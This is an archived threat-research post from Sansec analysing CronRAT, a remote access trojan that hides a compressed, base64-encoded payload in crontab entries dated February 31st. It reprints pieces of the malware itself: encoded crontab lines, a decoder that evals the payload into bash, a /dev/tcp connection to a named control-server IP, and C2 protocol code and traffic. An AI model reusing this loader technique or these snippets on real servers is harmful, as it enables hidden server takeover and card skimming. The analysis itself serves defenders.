

CronRAT malware hides behind February 31st

By Sansec Forensics Team

Archived: 2026-04-05 14:10:46 UTC

At this time of year we typically see a surge in eCommerce attacks and new malware. Last week we analyzed a clever [malware](#) attacking online stores, and today we expose another, much more sophisticated threat. It is a Remote Access Trojan (RAT) and we have named it CronRAT.

Sansec found CronRAT to be present on multiple online stores, among them a nation's largest outlet. Because of its novel execution, we had to rewrite part of our [eComscan](#) algorithm in order to detect it. CronRAT is currently [undetected](#) by other security vendors.

CronRAT's main feat is hiding in the calendar subsystem of Linux servers ("cron") on a nonexistant day. This way, it will not attract attention from server administrators. And many security products do not scan the Linux cron system.

CronRAT facilitates persistent control over an eCommerce server. Sansec has studied several cases where the presence of CronRAT lead to the injection of payment skimmers (aka [Magecart](#)) in server-side code.

Sansec director of threat research Willem de Groot observes:

Digital skimming is moving from the browser to the server and this is yet another example. Most online stores have only implemented browser-based defenses, and criminals capitalize on the unprotected back-end. Security professionals should really consider the full attack surface.

CronRAT's stealth capabilities pose a serious threat to Linux eCommerce servers:

- Fileless execution
- Timing modulation
- Anti-tampering checksums
- Controlled via binary, obfuscated protocol
- Launches tandem RAT in separate Linux subsystem
- Control server disguised as "Dropbear SSH" service
- Payload hidden in legitimate CRON scheduled task names

Technical analysis

```

1  */30 * * * * (/bin/bash -c "printf '\%s \'"$(printf 'H4sIAIeNpWAC/42SXW+CMBSG7/...
fs10JbvZei4I9Dzv07ctsQIP32pS2hcNW7nFTmicZLVKkqkV6JHjkiPjD5jy0H5MKdmvZY5QoEhBB...
tgF10MklSrRBms5nh0EmhVSVW40XAXoYp7oaqznOXEkzWGs7DLJw6mmFHU+H+0xKs7I84iz0RL/iHu+MF3DXyd0b+vmvfkb/AH9s9BKc
BTTFTxY4eXXPuW0tci0N+H3r0maquHxvYpGFZbyy1NrchCTz03PYgUWQJfXETgrMoSLZ+lvvj1EciFM9sjH73bHls0DvT0d0WULUZDFr
+2g0Nbu3t8w3iGyJV0gIAAA=='|base64 -d|gunzip -c)\'"|\$(!#)")#53 23 31 2 3
2  53 23 31 2 3 H4sIAIaNPwAC/80Za2/bRvK7fswWoU0xjiwu34zMOGkeRQvHSpNdcTjb8VF8xGwkUhwPkiN/vab2eVbjF0guMMB9or
PX57PhRmZW8qMhJ9jQKYsefn27Whu6K4+iraJn8dpqgghjeXQ7iiNycUF+IJOvRBBv54Z19LkQyNXVj0Q3YVKCJ1EJbIM2q/b8KIRxr2h
+yDhkW0XcCpkH4aZpsl0sQcsmJt6eFLBDXJUqzIQaho3CzhfxZ6e/I5DzmquwKYz9drbwkIJNPKARsTq6k3TKpVJT27o5MPjSv3+XFKY
2J8MBhC93cfBrZt7W/I3aZJ7i0FsB7Hn1HApjLarwqi6Gow020Gcmq4Bo+aaYB0uBY8uiDynCpwMF5RIzsGxkknAC3Y0+oFDoIUsj+Y0
+ubdfkoEWG62SbTlSyZiuMYbGERz7IvWR6uggn0Hi9T/y0uqB8m0XrFXxhLxou9C0AsX61ngH0dhVl2Lb59d5i/rr7c/c1TIJr3/Nvw
+PAY0NyJB2cS/Lx0vlwh6IMQ39f3wf1s+z032Z5uvomHLxmrhouH2P2J3AQbecWmU0B/
rxliQJQ0YwGfCQypm5brqRhZ60u4mXIdmEXkDmmjMjQVpHgLuYeKw8phr43w8uEQyNqBrRKFEJWGBjcxX5I5evKS4TgTsossk32xANMK
p0EmaRvJZDhvt0KsJ4DQlxb7e
3  53 23 31 2 3 fg9BQDCam5QUCrmVXudIqiKYMmjH36bF4legGUNuFwHI/hH/yYSLeInwkHynEKPCiILSRyQqbrTepPt+s8XoUy0QL3A
+S50oQk3TnNoBMksv5VRwk8YebvAJ0AtQko1Q0RSBHB5lcJgfyLugr3RWgHPG2Wgi+LsCW5qrmcnLARJlMyVhTyENiKjJuec6BY4ylBK
oBQUVUfoqV1Qlga04eRpP7WhqXBQL3wpZUZr5b0WguEIMGk8nojjEx6E8iB0ZHb0KcSRZwnklfwzhdd8g6JL5DKRuudl/jVyZ8+vn52du
+0j8ccF112tt7Kr2X4ni7iZLRM0jqPHB7WoOweGIiIDBvfwTcB9oyao1Yr/6cuvN+3p3ZaB6xxXMPJJC8Td8d763M97R8RkfnPCDRsSs
9neqsgncBShxJm8ksCxyhBHxPNXPZu3eAwTxKcCUZ4cTgJfQcVBW0HHwcdBxMHCwcbBgaFLiXsPvt9H4cuu+aJHk1K4oTc0uNjqqh6w
zhCvQkVQ0jK0dLSDJfQwyIw8nQKcW/rtZw07Izq/rwyZck8nLP4jw/uI9uTriZTp/HOPPw0fyaZKGN0P/4hG5Espks0q3S241m/8+c2e
+PC7dCDAZ2iHm0S3IFKAz5PILKvyY2hVG5NyC6+QWYT8rnL0Vn7++dU7V
+06Gh5+...

```

The CronRAT adds a number of tasks to crontab with a curious date specification: `52 23 31 2 3`. These lines are syntactically valid, but would generate a run time error when executed. However, this will never happen as they are scheduled to run on February 31st. Instead, the actual malware code is hidden in the task names and is constructed using several layers of compression and base64 decoding.

```

$ decoder.sh
1  function extract_payload_from_crontab() {
2      local temp=""
3      while read input; do
4          if [[ "${input:0:13}" == "53 23 31 2 3 " ]]; then
5              temp="${temp}${input:13}"
6          fi
7      done <<"$(crontab -l 2>/dev/null)"
8      echo "${temp}"
9  }
10 temp="$(extract_payload_from_crontab)"
11 if [[ ! -z "${temp}" && $(echo -n "${temp}" | md5sum | cut -c1-32) == "eafc3a92aa3299cb0fd08939a5a728e0" ]]; then
12     res=$(eval "printf '%${temp}'|base64 -d|gunzip -c|/bin/bash")
13     if [[ ! -z "${res}" ]]; then
14         if [[ "${res}" == "SD" ]]; then
15             remove_decoder_from_crontab
16         fi
17     fi
18 fi

```

The actual payload (see [raw](#) and [annotated](#) copy) is a sophisticated Bash program that features self-destruction, timing modulation and a custom binary protocol to communicate with a foreign control server. As one security engineer remarks:

I thought I had mastered bash, but that script is giving me a headache 🤔
 — アルミ (@schrotthausen) [November 25, 2021](#)

Upon launch, it contacts the control server using an uncommon method for TCP communication:

```
eval "exec 3<>/dev/tcp/796077735/$(0x1bb)" 8>/dev/null || exit_with_code 5
```

This resolves to port 443 on 47.115.46.167, an Alibaba hosted IP. This service generates a banner for the Dropbear SSH service, which is commonly installed on embedded devices. However, this is clearly a disguise.

```

SEND COMMAND: 1: 'yG/uPNaConkVC,pSRB&S]mJ4S[@QM[4+V#M9jLQBI$1$}G<^(.rrP-C:~51cT)4.2+11
SEND PAYLOAD: 's%0040000000088fEIqcFVLZEZqa25TRil1VldHI1ZYaE8xVl5FVEheMS5
SEND COMMAND: 1: 'cio' 2: '2'
SEND PAYLOAD: '0%0040000000004gIqM'
SEND COMMAND: 1: '1286cf441288ae88cedf8610943a0ed766c0b59efcfd6039e435856bfeb6174f8170d4a09f5845418c
SEND PAYLOAD: 'a%0040000000172UFNZVwIHVVVQUl1ZAARZWQIEBQdZV1BRWFVSAFEEBVZXVwJRA1RYBacCB1AFV1FSWARVU
READ COMMAND: 1: 'false'
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 xxx.xxx.xxx.xxx:43444  47.115.46.167:443     ESTABLISHED
SEND COMMAND: 1: 'prm' 2: '2'
SEND PAYLOAD: 'c%0040000000004ExEO'
==> sending hash
SEND COMMAND: 1: 'dwn' 2: '2'
SEND PAYLOAD: '0%0040000000004q7ih'
READ COMMAND: 1: 'true'
READ PAYLOAD: f0VMRgIBAQAIAAAAAAAAAAMAPgABAAAAGBAAAAAAAAABAAAAAAAAAKgyAgAAAAAAAAAAAAEAA0AAIAEAAAFgAVAA
    
```

CronRAT implements a custom binary protocol with random checksums, to avoid detection by firewalls and packet inspectors.

```

function send_to_upstream() {
    060=$(get_rand_number)
    021=$(int2ascii "$060")
    08=$(int2ascii "${2}")
    encoded_payload=$(b64encode "${1}" $060)
    049=${#encoded_payload}
    if [[ ${049} -gt ${tenGB} ]]; then
        exit_with_code 3
    fi
    044=$(printf "%03d" ${054})
    045=$(printf "%010d" ${049})
    # upstream_fd = /dev/tcp/...
    eval "echo -n '${021}${08}${044}${045}${encoded_payload}' >&${upstream_fd}"
}
    
```

Once a connection with the C&C server is established, CronRAT takes these steps:

1. Discards the fake SSH-2.0-dropbear_2017.75 banner.
2. Sends a password, the cio command and then (presumably) a host identifier.
3. Waits for a sd (self-destruct) or ev (eval) command from the control server
4. Sends prm command and password/identifier, then receives command parameters for the sidekick RAT
5. Sends dwn command and receives malicious dynamic library
6. Library is saved to one of these paths: /dev/shm, /run/user/UID, /tmp, /var/tmp, HOME, with one of these file names: www-shared, server-worker-shared, sql-shared, php-shared, systemd-user.lock, php.lock, php-fpm.lock, www-server.lock, php_sess_RANDOM, zend_cache___RANDOM, php_cache, www_cache, worker_cahce (sic), logo_edited_DATE.png, user_edited_DATE.css, custom_edited_DATE.css
7. Runs custom prm command with the custom library loaded via LD_PRELOAD.
8. Monitors custom command for 5 seconds and, depending on success, sends ssc, ser or sun command.
9. Finishes with cex command.

This essentially allows the RAT operator to run any code.

Coming up

In order to study the control server's behavior, we wrote a specially crafted RAT client to intercept commands. And we tricked the C2 server into sending us yet another RAT, which manages to embed itself in the Nginx web server process. [Read about NginRAT](#).

We greatly appreciate the help of [Cipriano Groenendal](#) at [Hypernode](#) for providing malware samples and valuable analysis.

Read more

- [Mass PolyShell attack wave hits 471 stores in one hour](#)
- [Novel WebRTC skimmer bypasses security controls at \\$100+ billion car maker](#)
- [PolyShell: unrestricted file upload in Magento and Adobe Commerce](#)
- [Digital skimmer hits global supermarket chain](#)
- [Building a faster YARA engine in pure Go](#)

Source: <https://sansec.io/research/cronrat>